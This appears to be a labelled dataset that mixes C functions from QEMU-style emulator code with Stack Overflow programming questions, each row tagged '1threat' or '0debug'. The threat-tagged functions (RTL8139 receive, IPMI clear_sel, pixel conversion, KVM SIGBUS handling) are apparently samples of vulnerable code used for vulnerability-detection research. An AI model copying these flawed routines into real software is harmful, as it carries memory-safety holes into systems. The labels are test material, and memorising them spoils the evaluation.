if (rxdw0 & CP_RX_EOR)
{
s->currCPlusRxDesc = 0;
}
else
{
++s->currCPlusRxDesc;
}
DPRINTF("done C+ Rx mode ----------------\n");
}
else
{
DPRINTF("in ring Rx mode ================\n");
int avail = MOD2(s->RxBufferSize + s->RxBufPtr - s->RxBufAddr, s->RxBufferSize);
#define RX_ALIGN(x) (((x) + 3) & ~0x3)
if (avail != 0 && RX_ALIGN(size + 8) >= avail)
{
DPRINTF("rx overflow: rx buffer length %d head 0x%04x "
"read 0x%04x === available 0x%04x need 0x%04x\n",
s->RxBufferSize, s->RxBufAddr, s->RxBufPtr, avail, size + 8);
s->IntrStatus |= RxOverflow;
++s->RxMissed;
rtl8139_update_irq(s);
return size_;
}
packet_header |= RxStatusOK;
packet_header |= (((size+4) << 16) & 0xffff0000);
uint32_t val = cpu_to_le32(packet_header);
rtl8139_write_buffer(s, (uint8_t *)&val, 4);
rtl8139_write_buffer(s, buf, size);
val = cpu_to_le32(crc32(0, buf, size));
rtl8139_write_buffer(s, (uint8_t *)&val, 4);
s->RxBufAddr = MOD2(RX_ALIGN(s->RxBufAddr), s->RxBufferSize);
DPRINTF("received: rx buffer length %d head 0x%04x read 0x%04x\n",
s->RxBufferSize, s->RxBufAddr, s->RxBufPtr);
}
s->IntrStatus |= RxOK;
if (do_interrupt)
{
rtl8139_update_irq(s);
}
return size_;
}
| 1threat |
How to handle backslash character in PowerShell -replace string operations? : <p>I am using -replace to change a path from source to destination. However I am not sure how to handle the \ character. For example:</p>
<pre><code>$source = "\\somedir"
$dest = "\\anotherdir"
$test = "\\somedir\somefile"
$destfile = $test -replace $source, $dest
</code></pre>
<p>After this operation, $destfile is set to </p>
<pre><code>"\\\anotherdir\somefile"
</code></pre>
<p>What is the correct way to do this to avoid the triple backslash in the result?</p>
| 0debug |
static void clear_sel(IPMIBmcSim *ibs,
uint8_t *cmd, unsigned int cmd_len,
uint8_t *rsp, unsigned int *rsp_len,
unsigned int max_rsp_len)
{
IPMI_CHECK_CMD_LEN(8);
IPMI_CHECK_RESERVATION(2, ibs->sel.reservation);
if (cmd[4] != 'C' || cmd[5] != 'L' || cmd[6] != 'R') {
rsp[2] = IPMI_CC_INVALID_DATA_FIELD;
return;
}
if (cmd[7] == 0xaa) {
ibs->sel.next_free = 0;
ibs->sel.overflow = 0;
set_timestamp(ibs, ibs->sdr.last_clear);
IPMI_ADD_RSP_DATA(1);
sel_inc_reservation(&ibs->sel);
} else if (cmd[7] == 0) {
IPMI_ADD_RSP_DATA(1);
} else {
rsp[2] = IPMI_CC_INVALID_DATA_FIELD;
return;
}
}
| 1threat |
Text size of TEXTVIEW for multiple android screens (mdpi, hpdi, xhdpi,xxhdpi,xxxhdpi)? : I am making an app. There is a rotatable imageview in the middle of the screen with 2 textviews(in bold) above and 2 textviews below. It is showing different on different screens. I need help asap!!! | 0debug |
void rgb15tobgr24(const uint8_t *src, uint8_t *dst, long src_size)
{
const uint16_t *end;
uint8_t *d = (uint8_t *)dst;
const uint16_t *s = (uint16_t *)src;
end = s + src_size/2;
while(s < end)
{
register uint16_t bgr;
bgr = *s++;
*d++ = (bgr&0x7C00)>>7;
*d++ = (bgr&0x3E0)>>2;
*d++ = (bgr&0x1F)<<3;
}
}
| 1threat |
TransformException duplicate entry for org/intellij/lang/annotations/Identifier.class : <p>I am getting this error</p>
<pre><code>Error:Execution failed for task ':app:transformClassesWithJarMergingForDebug'.
> com.android.build.api.transform.TransformException: java.util.zip.ZipException:
duplicate entry: org/intellij/lang/annotations/Identifier.class
</code></pre>
<p>It started after I added <code>compile "com.wefika:flowlayout:0.4.0"</code> to my gradle</p>
<p>This is my gradle file</p>
<pre><code> packagingOptions {
exclude 'META-INF/NOTICE' // will not include NOTICE file
exclude 'META-INF/LICENSE' // will not include LICENSE file
// as noted by @Vishnuvathsan you may also need to include
// variations on the file name. It depends on your dependencies.
// Some other common variations on notice and license file names
exclude 'META-INF/notice'
exclude 'META-INF/notice.txt'
exclude 'META-INF/license'
exclude 'META-INF/license.txt'
}
dexOptions {
javaMaxHeapSize "4g"
}
dependencies {
compile fileTree(dir: 'libs', include: ['*.jar'])
testCompile 'junit:junit:4.12'
compile 'com.android.support:appcompat-v7:24.2.1'
compile 'com.android.support:design:24.2.1'
compile 'com.android.support:cardview-v7:24.2.1'
compile 'com.google.android.gms:play-services-location:9.6.1'
compile "com.google.firebase:firebase-messaging:9.0.0"
compile 'com.google.android.gms:play-services-auth:9.6.1'
compile 'com.google.android.gms:play-services-plus:9.6.1'
compile 'com.android.support:multidex:1.0.1'
compile 'com.jakewharton:butterknife:7.0.1'
compile 'com.loopj.android:android-async-http:1.4.9'
compile 'de.hdodenhof:circleimageview:2.0.0'
compile 'com.firebase:firebase-client-android:2.5.2'
compile 'com.facebook.android:facebook-android-sdk:[4,5)'
compile 'com.google.android.gms:play-services:9.6.1'
compile 'org.jetbrains:annotations-java5:15.0'
compile 'com.squareup.picasso:picasso:2.5.2'
compile 'com.google.firebase:firebase-core:9.4.0'
compile "com.wefika:flowlayout:0.4.0"
configurations.all {
resolutionStrategy {
force 'com.android.support:design:23.4.0'
force 'com.android.support:support-v4:23.4.0'
force 'com.android.support:appcompat-v7:23.4.0'
}
}
</code></pre>
| 0debug |
Brainf*ck interpreter nested loop trouble : I am currently making a brainf*ck and have encountered a problem with loops.
I followed some advice from [this][1] but I can't seem to get it working.
Here is my code so far:
<html>
<body>
<font face="consolas">
<script>
var brPos = 0;
var k = 0;
var loop = [];
var printtape = "";
var out = "";
var i = 0;
var pointer = 0;
var tape = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0];
var source = prompt("Code").split("");
while (i<source.length+1){
if (source[i] == "<"){
pointer--;
} else if (source[i] == ">"){
pointer++;
} else if (source[i] == "+"){
tape[pointer]++;
} else if (source[i] == "-"){
tape[pointer]--;
} else if (source[i] == ","){
tape[pointer] = prompt("Input").charCodeAt(0);
} else if (source[i] == "."){
out += String.fromCharCode(tape[pointer]);
} else if (source[i] == "["){
loop.push(pointer);
if (tape[pointer] == 0){
brPos = i;
while (k >= 0) {
if (source[brPos] == "[") {
k++;
} else if (source[brPos] == "]") {
k--;
}
}
i = brPos;
brPos = 0;
loop.pop();
}
} else if (source[i] == "]"){
i=loop[loop.length-1];
}
i++;
for (j=0;j<tape.length;j++) {
if (tape[j] > 255) {
tape[j] = 0;
} else if (tape[j] < 0) {
tape[j] = 255;
}
}
console.log(tape);
console.log(loop);
}
printtape = "";
printtape += "|";
for (i=0;i<tape.length;i++) {
if (tape[i]<10) {
printtape += "00"+tape[i]+"|";
}
if (tape[i]>=10&&tape[i]<100) {
printtape += "0"+tape[i]+"|";
}
if (tape[i]>=100) {
printtape += tape[i]+"|";
}
}
printtape += "<br>";
printtape += " ";
for (i=0;i<pointer;i++) {
printtape += " ";
}
printtape += "^";
document.write(printtape);
alert(out);
</script>
</font>
</body>
</html>
This is the offending code (I think):
} else if (source[i] == "["){
loop.push(pointer);
if (tape[pointer] == 0){
brPos = i;
while (k >= 0) {
if (source[brPos] == "[") {
k++;
} else if (source[brPos] == "]") {
k--;
}
}
i = brPos;
brPos = 0;
loop.pop();
}
} else if (source[i] == "]"){
i=loop[loop.length-1];
}
When I run the code (in IE) with a loop in it, it doesnt end the while loop and eventually crashes and I don't know why.
P.S. I know someone in the comments is going to say that the `<font>` tag is obsolete, and I should use CSS, but this isn't going to be published and I really don't care.
[1]: http://stackoverflow.com/questions/2588163/implementing-brainfuck-loops-in-an-interpreter/2588195#2588195 | 0debug |
Memory leaks when using pandas_udf and Parquet serialization? : <p>I am currently developing my first whole system using PySpark and I am running into some strange, memory-related issues. In one of the stages, I would like to resemble a Split-Apply-Combine strategy in order to modify a DataFrame. That is, I would like to apply a function to each of the groups defined by a given column and finally combine them all. Problem is, the function I want to apply is a prediction method for a fitted model that "speaks" the Pandas idiom, i.e., it is vectorized and takes a Pandas Series as an input. </p>
<p>I have then designed an iterative strategy, traversing the groups and manually applying a pandas_udf.Scalar in order to solve the problem. The combination part is done using incremental calls to DataFrame.unionByName(). I have decided not to use the GroupedMap type of pandas_udf because the docs state that the memory should be managed by the user, and you should have special care whenever one of the groups might be too large to keep it in memory or be represented by a Pandas DataFrame.</p>
<p>The main problem is that all the processing seems to run fine, but in the end I want to serialize the final DataFrame to a Parquet file. And it is at this point where I receive a lot of Java-like errors about DataFrameWriter, or out-of-memory exceptions.</p>
<p>I have tried the code in both Windows and Linux machines. The only way I have managed to avoid the errors has been to increase the --driver-memory value in the machines. The minimum value is different in every platform, and is dependent on the size of the problem, which somehow makes me suspect on memory leaks.</p>
<p>The problem did not happen until I started using pandas_udf. I think that there is probably a memory leak somewhere in the whole process of pyarrow serialization taking place under the hood when using a pandas_udf.</p>
<p>I have created a minimal reproducible example. If I run this script directly using Python, it produces the error. Using spark-submit and increasing a lot the driver memory, it is possible to make it work. </p>
<pre class="lang-py prettyprint-override"><code>import pyspark
import pyspark.sql.functions as F
import pyspark.sql.types as spktyp
# Dummy pandas_udf -------------------------------------------------------------
@F.pandas_udf(spktyp.DoubleType())
def predict(x):
return x + 100.0
# Initialization ---------------------------------------------------------------
spark = pyspark.sql.SparkSession.builder.appName(
"mre").master("local[3]").getOrCreate()
sc = spark.sparkContext
# Generate a dataframe ---------------------------------------------------------
out_path = "out.parquet"
z = 105
m = 750000
schema = spktyp.StructType(
[spktyp.StructField("ID", spktyp.DoubleType(), True)]
)
df = spark.createDataFrame(
[(float(i),) for i in range(m)],
schema
)
for j in range(z):
df = df.withColumn(
f"N{j}",
F.col("ID") + float(j)
)
df = df.withColumn(
"X",
F.array(
F.lit("A"),
F.lit("B"),
F.lit("C"),
F.lit("D"),
F.lit("E")
).getItem(
(F.rand()*3).cast("int")
)
)
# Set the column names for grouping, input and output --------------------------
group_col = "X"
in_col = "N0"
out_col = "EP"
# Extract different group ids in grouping variable -----------------------------
rows = df.select(group_col).distinct().collect()
groups = [row[group_col] for row in rows]
print(f"Groups: {groups}")
# Split and treat the first id -------------------------------------------------
first, *others = groups
cur_df = df.filter(F.col(group_col) == first)
result = cur_df.withColumn(
out_col,
predict(in_col)
)
# Traverse the remaining group ids ---------------------------------------------
for i, other in enumerate(others):
cur_df = df.filter(F.col(group_col) == other)
new_df = cur_df.withColumn(
out_col,
predict(in_col)
)
# Incremental union --------------------------------------------------------
result = result.unionByName(new_df)
# Save to disk -----------------------------------------------------------------
result.write.mode("overwrite").parquet(out_path)
</code></pre>
<p>Shockingly (at least for me), the problem seems to vanish if I put a call to repartition() just before the serialization statement.</p>
<pre class="lang-py prettyprint-override"><code>result = result.repartition(result.rdd.getNumPartitions())
result.write.mode("overwrite").parquet(out_path)
</code></pre>
<p>Having put this line into place, I can lower a lot the driver memory configuration, and the script runs fine. I can barely understand the relationship among all those factors, although I suspect lazy evaluation of the code and pyarrow serialization might be related.</p>
<p>This is the current environment I am using for development:</p>
<pre><code>arrow-cpp 0.13.0 py36hee3af98_1 conda-forge
asn1crypto 0.24.0 py36_1003 conda-forge
astroid 2.2.5 py36_0
atomicwrites 1.3.0 py_0 conda-forge
attrs 19.1.0 py_0 conda-forge
blas 1.0 mkl
boost-cpp 1.68.0 h6a4c333_1000 conda-forge
brotli 1.0.7 he025d50_1000 conda-forge
ca-certificates 2019.3.9 hecc5488_0 conda-forge
certifi 2019.3.9 py36_0 conda-forge
cffi 1.12.3 py36hb32ad35_0 conda-forge
chardet 3.0.4 py36_1003 conda-forge
colorama 0.4.1 py36_0
cryptography 2.6.1 py36hb32ad35_0 conda-forge
dill 0.2.9 py36_0
docopt 0.6.2 py36_0
entrypoints 0.3 py36_0
falcon 1.4.1.post1 py36hfa6e2cd_1000 conda-forge
fastavro 0.21.21 py36hfa6e2cd_0 conda-forge
flake8 3.7.7 py36_0
future 0.17.1 py36_1000 conda-forge
gflags 2.2.2 ha925a31_0
glog 0.3.5 h6538335_1
hug 2.5.2 py36hfa6e2cd_0 conda-forge
icc_rt 2019.0.0 h0cc432a_1
idna 2.8 py36_1000 conda-forge
intel-openmp 2019.3 203
isort 4.3.17 py36_0
lazy-object-proxy 1.3.1 py36hfa6e2cd_2
libboost 1.67.0 hd9e427e_4
libprotobuf 3.7.1 h1a1b453_0 conda-forge
lz4-c 1.8.1.2 h2fa13f4_0
mccabe 0.6.1 py36_1
mkl 2018.0.3 1
mkl_fft 1.0.6 py36hdbbee80_0
mkl_random 1.0.1 py36h77b88f5_1
more-itertools 4.3.0 py36_1000 conda-forge
ninabrlong 0.1.0 dev_0 <develop>
nose 1.3.7 py36_1002 conda-forge
nose-exclude 0.5.0 py_0 conda-forge
numpy 1.15.0 py36h9fa60d3_0
numpy-base 1.15.0 py36h4a99626_0
openssl 1.1.1b hfa6e2cd_2 conda-forge
pandas 0.23.3 py36h830ac7b_0
parquet-cpp 1.5.1 2 conda-forge
pip 19.0.3 py36_0
pluggy 0.11.0 py_0 conda-forge
progressbar2 3.38.0 py_1 conda-forge
py 1.8.0 py_0 conda-forge
py4j 0.10.7 py36_0
pyarrow 0.13.0 py36h8c67754_0 conda-forge
pycodestyle 2.5.0 py36_0
pycparser 2.19 py36_1 conda-forge
pyflakes 2.1.1 py36_0
pygam 0.8.0 py_0 conda-forge
pylint 2.3.1 py36_0
pyopenssl 19.0.0 py36_0 conda-forge
pyreadline 2.1 py36_1
pysocks 1.6.8 py36_1002 conda-forge
pyspark 2.4.1 py_0
pytest 4.5.0 py36_0 conda-forge
pytest-runner 4.4 py_0 conda-forge
python 3.6.6 hea74fb7_0
python-dateutil 2.8.0 py36_0
python-hdfs 2.3.1 py_0 conda-forge
python-mimeparse 1.6.0 py_1 conda-forge
python-utils 2.3.0 py_1 conda-forge
pytz 2019.1 py_0
re2 2019.04.01 vc14h6538335_0 [vc14] conda-forge
requests 2.21.0 py36_1000 conda-forge
requests-kerberos 0.12.0 py36_0
scikit-learn 0.20.1 py36hb854c30_0
scipy 1.1.0 py36hc28095f_0
setuptools 41.0.0 py36_0
six 1.12.0 py36_0
snappy 1.1.7 h777316e_3
sqlite 3.28.0 he774522_0
thrift-cpp 0.12.0 h59828bf_1002 conda-forge
typed-ast 1.3.1 py36he774522_0
urllib3 1.24.2 py36_0 conda-forge
vc 14.1 h0510ff6_4
vs2015_runtime 14.15.26706 h3a45250_0
wcwidth 0.1.7 py_1 conda-forge
wheel 0.33.1 py36_0
win_inet_pton 1.1.0 py36_0 conda-forge
wincertstore 0.2 py36h7fe50ca_0
winkerberos 0.7.0 py36_1
wrapt 1.11.1 py36he774522_0
xz 5.2.4 h2fa13f4_4
zlib 1.2.11 h62dcd97_3
zstd 1.3.3 hfe6a214_0
</code></pre>
<p>Any hint or help would be much appreciated.</p>
| 0debug |
How can I use multiple refs for an array of elements with hooks? : <p>As far as I understood I can use refs for a single element like this:</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="true">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>const { useRef, useState, useEffect } = React;
const App = () => {
const elRef = useRef();
const [elWidth, setElWidth] = useState();
useEffect(() => {
setElWidth(elRef.current.offsetWidth);
}, []);
return (
<div>
<div ref={elRef} style={{ width: "100px" }}>
Width is: {elWidth}
</div>
</div>
);
};
ReactDOM.render(
<App />,
document.getElementById("root")
);</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><script src="https://unpkg.com/react@16/umd/react.production.min.js"></script>
<script src="https://unpkg.com/react-dom@16/umd/react-dom.production.min.js"></script>
<div id="root"></div></code></pre>
</div>
</div>
</p>
<p>How can I implement this for an array of elements? Obviously not like that: (I knew it even I did not try it:)</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="true">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>const { useRef, useState, useEffect } = React;
const App = () => {
const elRef = useRef();
const [elWidth, setElWidth] = useState();
useEffect(() => {
setElWidth(elRef.current.offsetWidth);
}, []);
return (
<div>
{[1, 2, 3].map(el => (
<div ref={elRef} style={{ width: `${el * 100}px` }}>
Width is: {elWidth}
</div>
))}
</div>
);
};
ReactDOM.render(
<App />,
document.getElementById("root")
);</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><script src="https://unpkg.com/react@16/umd/react.production.min.js"></script>
<script src="https://unpkg.com/react-dom@16/umd/react-dom.production.min.js"></script>
<div id="root"></div></code></pre>
</div>
</div>
</p>
<p>I have seen <a href="https://github.com/facebook/react/issues/14072" rel="noreferrer">this</a> and hence <a href="https://github.com/facebook/react/issues/14490#issuecomment-454973512" rel="noreferrer">this</a>. But, I'm still confused about how to implement that suggestion for this simple case. </p>
| 0debug |
MemoryError python sql : I’m getting a MemoryError when I try to read a large sql file in Python3.6 with this command:
with open(sql_file, ‘r’) as f:
Is there an alternative to this so I can correctly read my sql file ? | 0debug |
Eclipse with Lombok - search for getter and setter usages : <p>I'm using Eclipse with Lombok. The getters and setters are generated properly but they are not visible in class body (that's the whole point, I know). However, because of that, I am unable to execute a search for usages of a getter or a setter from inside the class. So if I want to check what and where actually sets a particular value of a field, I have to execute a String search for the getter name, which is slow and may give bad results (for a field of the same name in another class, for example).</p>
<p>Is there a way in Eclipse to look for a getter/setter usage for a field for lombok-generated methods?</p>
| 0debug |
int kvm_on_sigbus_vcpu(CPUState *env, int code, void *addr)
{
#if defined(KVM_CAP_MCE)
struct kvm_x86_mce mce = {
.bank = 9,
};
void *vaddr;
ram_addr_t ram_addr;
target_phys_addr_t paddr;
int r;
if ((env->mcg_cap & MCG_SER_P) && addr
&& (code == BUS_MCEERR_AR
|| code == BUS_MCEERR_AO)) {
if (code == BUS_MCEERR_AR) {
mce.status = MCI_STATUS_VAL | MCI_STATUS_UC | MCI_STATUS_EN
| MCI_STATUS_MISCV | MCI_STATUS_ADDRV | MCI_STATUS_S
| MCI_STATUS_AR | 0x134;
mce.misc = (MCM_ADDR_PHYS << 6) | 0xc;
mce.mcg_status = MCG_STATUS_MCIP | MCG_STATUS_EIPV;
} else {
if (kvm_mce_in_progress(env)) {
return 0;
}
mce.status = MCI_STATUS_VAL | MCI_STATUS_UC | MCI_STATUS_EN
| MCI_STATUS_MISCV | MCI_STATUS_ADDRV | MCI_STATUS_S
| 0xc0;
mce.misc = (MCM_ADDR_PHYS << 6) | 0xc;
mce.mcg_status = MCG_STATUS_MCIP | MCG_STATUS_RIPV;
}
vaddr = (void *)addr;
if (qemu_ram_addr_from_host(vaddr, &ram_addr) ||
!kvm_physical_memory_addr_from_ram(env->kvm_state, ram_addr, &paddr)) {
fprintf(stderr, "Hardware memory error for memory used by "
"QEMU itself instead of guest system!\n");
if (code == BUS_MCEERR_AO) {
return 0;
} else {
hardware_memory_error();
}
}
mce.addr = paddr;
r = kvm_set_mce(env, &mce);
if (r < 0) {
fprintf(stderr, "kvm_set_mce: %s\n", strerror(errno));
abort();
}
kvm_mce_broadcast_rest(env);
} else
#endif
{
if (code == BUS_MCEERR_AO) {
return 0;
} else if (code == BUS_MCEERR_AR) {
hardware_memory_error();
} else {
return 1;
}
}
return 0;
}
| 1threat |
Create Command-line Launcher Intellij not found : <p>I would like to use </p>
<pre><code>idea pom.xml
</code></pre>
<p>from command line to launch a simple Maven project, and so I think I need to configure using "Create Command-line Launcher" the script path, but I cannot find it in Intellij Ultimate, if I search it in File / Settings I can find it, but then if I add a keyboard shortcut it doesn't work.</p>
<p>Could someone help me?</p>
<p>Thank you</p>
| 0debug |
how to add data into list<> from labamda expression mvc : hi i need help to add data from lambada expresssion query to list.
var Emplist = context.employee.tolist().firstordefault(e=>e.id= empid && e.name=empname)
Now wants result into generic list
list<Emplist> emplist = context.employee.tolist().firstordefault(e=>e.id= empid && e.name=empname)
its showing error.
| 0debug |
void rgb15tobgr24(const uint8_t *src, uint8_t *dst, unsigned int src_size)
{
const uint16_t *end;
uint8_t *d = (uint8_t *)dst;
const uint16_t *s = (uint16_t *)src;
end = s + src_size/2;
while(s < end)
{
register uint16_t bgr;
bgr = *s++;
*d++ = (bgr&0x7C00)>>7;
*d++ = (bgr&0x3E0)>>2;
*d++ = (bgr&0x1F)<<3;
}
}
| 1threat |
Chart.js - how to disable everything on hover : <p>How can I set the code that there will be no hover effects, hover options, (hover) links etc on chart?</p>
<p>I'm using chart.js. Below is my code, where I set pie chart.</p>
<p>Html..</p>
<pre><code><div id="canvas-holder" style="width:90%;">
<canvas id="chart-area" />
</div>
</code></pre>
<p>..and js...</p>
<pre><code>$(document).ready(function () {
var config = {
type: 'pie',
data: {
datasets: [{
data: [60,20],
backgroundColor: [
"#ddd",
"#58AC1C"
],
label: 'Dataset 1'
}],
labels: [
"Bla1 ",
"Bla2 "+
]
},
options: {
responsive: true
}
};
window.onload = function() {
var ctx = document.getElementById("chart-area").getContext("2d");
window.myPie = new Chart(ctx, config);
};
});
</code></pre>
| 0debug |
Sending to client from server : <p>I'm trying to send data from a server to a client whenever the client executes a recv() command. As the code stands right now, I cannot get the client to print any data it receives. I cannot figure out whether something is wrong with my server or client, so any help would be appreciated. Thanks!</p>
<p>client.c</p>
<pre><code>#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#define ECHO_PORT 9999
#define BUF_SIZE 4096
int main(int argc, char* argv[])
{
if (argc != 3)
{
fprintf(stderr, "usage: %s <server-ip> <port>",argv[0]);
return EXIT_FAILURE;
}
char buf[BUF_SIZE];
int status, sock, sock2;
struct addrinfo hints;
memset(&hints, 0, sizeof(struct addrinfo));
struct addrinfo *servinfo; //will point to the results
hints.ai_family = AF_INET; //IPv4
hints.ai_socktype = SOCK_STREAM; //TCP stream sockets
hints.ai_flags = AI_PASSIVE; //fill in my IP for me
if ((status = getaddrinfo(argv[1], argv[2], &hints, &servinfo)) != 0)
{
fprintf(stderr, "getaddrinfo error: %s \n", gai_strerror(status));
return EXIT_FAILURE;
}
if ((sock = socket(servinfo->ai_family, servinfo->ai_socktype, servinfo->ai_protocol)) == -1)
{
fprintf(stderr, "Socket failed");
return EXIT_FAILURE;
}
if ((connect(sock, (struct sockaddr *) servinfo->ai_addr, servinfo->ai_addrlen)) != 0)
{
fprintf(stderr, "Connection failed");
return EXIT_FAILURE;
}
if ((sock2 = socket(servinfo->ai_family, servinfo->ai_socktype, servinfo->ai_protocol)) == -1)
{
fprintf(stderr, "Socket failed");
return EXIT_FAILURE;
}
if ((connect(sock2, (struct sockaddr *) servinfo->ai_addr, servinfo->ai_addrlen)) != 0)
{
fprintf(stderr, "Connection failed");
return EXIT_FAILURE;
}
while (1) {
//char msg[BUF_SIZE] = "ashudfshuhafhu";
//char msg[BUF_SIZE];
//fgets(msg, BUF_SIZE, stdin);
//int i = 2;
//if (strlen(msg) == i)
// break;
int bytes_received;
// fprintf(stdout, "Sending %s", msg);
//send(sock, msg , strlen(msg), 0);
if((bytes_received = recv(sock, buf, BUF_SIZE, 0)) > 1)
{
buf[bytes_received] = '\0';
fprintf(stdout, "Received %s", buf);
}
}
freeaddrinfo(servinfo);
close(sock);
return EXIT_SUCCESS;
}
</code></pre>
<p>Server.c</p>
<pre><code>#include <netinet/in.h>
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#define ECHO_PORT 9999
#define BUF_SIZE 4096
int close_socket(int sock)
{
if (close(sock))
{
fprintf(stderr, "Failed closing socket.\n");
return 1;
}
return 0;
}
int main(int argc, char* argv[])
{
int sock, client_sock;
ssize_t readret;
socklen_t cli_size;
struct timeval tv;
struct sockaddr_in addr, cli_addr;
char buf[BUF_SIZE] = "wetwetwetwetwetwetwetwet";
fd_set readfds, writefds;
fd_set activereadfds, activewritefds;
cli_size = sizeof(&cli_addr);
tv.tv_sec = 5;
tv.tv_usec = 0;
fprintf(stdout, "----- Echo Server -----\n");
/* all networked programs must create a socket */
if ((sock = socket(PF_INET, SOCK_STREAM, 0)) == -1)
{
fprintf(stderr, "Failed creating socket.\n");
return EXIT_FAILURE;
}
addr.sin_family = AF_INET;
addr.sin_port = htons(ECHO_PORT);
addr.sin_addr.s_addr = INADDR_ANY;
/* servers bind sockets to ports---notify the OS they accept connections */
if (bind(sock, (struct sockaddr *) &addr, sizeof(addr)))
{
close_socket(sock);
fprintf(stderr, "Failed binding socket.\n");
return EXIT_FAILURE;
}
if (listen(sock, 5))
{
close_socket(sock);
fprintf(stderr, "Error listening on socket.\n");
return EXIT_FAILURE;
}
FD_ZERO(&readfds);
FD_SET(sock, &activereadfds);
while (1)
{
fprintf(stdout,"in here.\n");
readfds = activereadfds;
writefds = activewritefds;
FD_ZERO(&activereadfds);
FD_ZERO(&activewritefds);
if (select(51, &readfds, &writefds, NULL, &tv) < 0)
{
perror("select");
return EXIT_FAILURE;
}
for (int i = 0; i < 10; ++i)
{
if (FD_ISSET (i, &readfds))
{
if (i == sock)
{
fprintf(stdout, "main loop. \n");
client_sock = accept(sock,
(struct sockaddr *) &cli_addr, &cli_size);
FD_SET(client_sock, &activereadfds);
FD_SET(client_sock, &activewritefds);
if (client_sock < 0)
{
perror("accept");
return EXIT_FAILURE;
}
} else {
fprintf(stdout, "second loop \n");
readret = send(i,buf, strlen(buf),0);
if (readret < 0)
fprintf(stdout, "yay");
}
}
if (FD_ISSET(i, &writefds))
{ fprintf(stdout, "ugh \n");
readret = send(i,buf,BUF_SIZE,0);
//if (readret > 0)
//while((readret = recv(i, buf, BUF_SIZE, 0)) >= 1)
// {
//if (send(i, buf, readret, 0) != readret)
//{
// close_socket(i);
// close_socket(sock);
// fprintf(stderr, "Error sending to client.\n");
// return EXIT_FAILURE;
//}
}
}
}
close_socket(sock);
return EXIT_SUCCESS;
}
</code></pre>
| 0debug |
Avoiding and renaming .x and .y columns when merging or joining in r : <p>Often I go about joining two dataframes together that have the same name. Is there a way to do this within the join-step so that I don't end up with a .x and a .y column? So the names might be 'original_mpg', and 'new_mpg'?</p>
<pre><code> library(dplyr)
left_join(mtcars, mtcars[,c("mpg",'cyl')], by=c("cyl"))
names(mtcars) #ugh
</code></pre>
| 0debug |
How to scale text to fit parent view with SwiftUI? : <p>I'd like to create a text view inside a circle view. The font size should be automatically set to fit the size of the circle. How can this be done in SwiftUI? I tried scaledToFill and scaledToFit modifiers, but they have no effect on the Text view:</p>
<pre><code>struct ContentView : View {
var body: some View {
ZStack {
Circle().strokeBorder(Color.red, lineWidth: 30)
Text("Text").scaledToFill()
}
}
}
</code></pre>
| 0debug |
i want text after 3 '_' s means '110_DT_H55_VXELQ318_10Q' this is the text i want 'VXELQ318_10Q' : this is my quary:-
DECLARE @x varchar(100)
SET @x = '110_DT_H55_VXELQ318_10Q'
SELECT left(@x, CHARINDEX('_', REVERSE(@x)) )
| 0debug |
html/CSS how to make a div always center when the window is resized : <p>I have a navigation bar which I want it to always stay centered when the window is resized. The bar is on top of a picture which serves as the background of the website.
Here's the code:</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-html lang-html prettyprint-override"><code><!doctype html>
<html lang="en">
<head>
<style>
body {
font-family: Trebuchet MS;
}
.containermain {
margin: auto;
}
.navibar {
z-index: 1;
position: absolute;
background-color: #000000;
border-radius: 5px;
/*text-align: center;*/
left: 200px;
right: 80px;
top:140px;
width: 870px;
/*max-width: 100%;*/
margin: auto;
}
</style>
</head>
<body style="margin:0px;">
<div class="containermain">
<img class="bg" src="bg.png" alt="background">
</div>
<div class="navibar">
<a class="button btnhome" href="x.html#home" target="_blank">home</a>
<a class="button" href="x.html#portfolio" target="_blank">portfolio</a>
<a class="button" href="x.html#blog" target="_blank">blog</a>
<a class="button" href="x.html#contact" target="_blank">contact</a>
</div>
</body>
</html></code></pre>
</div>
</div>
</p>
<p>I've tried several approach like "margin: auto", but nothing works, the navi bar is pinned to the place. Please help, thanks in advance!</p>
| 0debug |
How do I make an Observable Interval start immediately without a delay? : <p>I want my observable to fire immediately, and again every second. <a href="http://reactivex.io/documentation/operators/interval.html" rel="noreferrer"><code>interval</code></a> will not fire immediately. I found <a href="https://stackoverflow.com/questions/36612945/how-to-get-an-observable-to-return-data-immediately-and-every-5-seconds-thereaft">this question</a> which suggested using <code>startWith</code>, which DOES fire immediately, but I then get a duplicate first entry.</p>
<pre><code> Rx.Observable.interval(1000).take(4).startWith(0).subscribe(onNext);
</code></pre>
<p><a href="https://plnkr.co/edit/Cl5DQ7znJRDe0VTv0Ux5?p=preview" rel="noreferrer">https://plnkr.co/edit/Cl5DQ7znJRDe0VTv0Ux5?p=preview</a></p>
<p>How can I make interval fire immediately, but not duplicate the first entry? </p>
| 0debug |
What are .NET Platform Extensions on docs.microsoft.com? : <p>There is a framework-level navigation element at Microsoft Docs called <a href="https://docs.microsoft.com/en-us/dotnet/api/index?view=dotnet-plat-ext-2.1" rel="noreferrer">".NET Platform Extensions"</a>. It contains docs on recently added APIs like <code>System.IO.Pipelines</code> and <code>System.Threading.Channels</code> for example, as well as a whole bunch of other APIs, including the not-so-recent ones.</p>
<p>Some APIs from this collection are available as nuget packages (for both .Net Core and .Net Framework), but others are not seemingly available. Also, as of now, there is no nuget package called ".NET Platform Extensions" or anything similar.</p>
<p>So, the question is what exactly does this collection of APIs represent? What is it's relationship to each of the following:</p>
<ul>
<li>.Net Framework</li>
<li>.Net Core</li>
<li>.Net Standard</li>
</ul>
<p>What about support in the .Net Framework / .Net Core?</p>
<p>Finally, some APIs seem to be already available as separate nuget packages, others are yet to be made available, so what is the story in that regard?</p>
| 0debug |
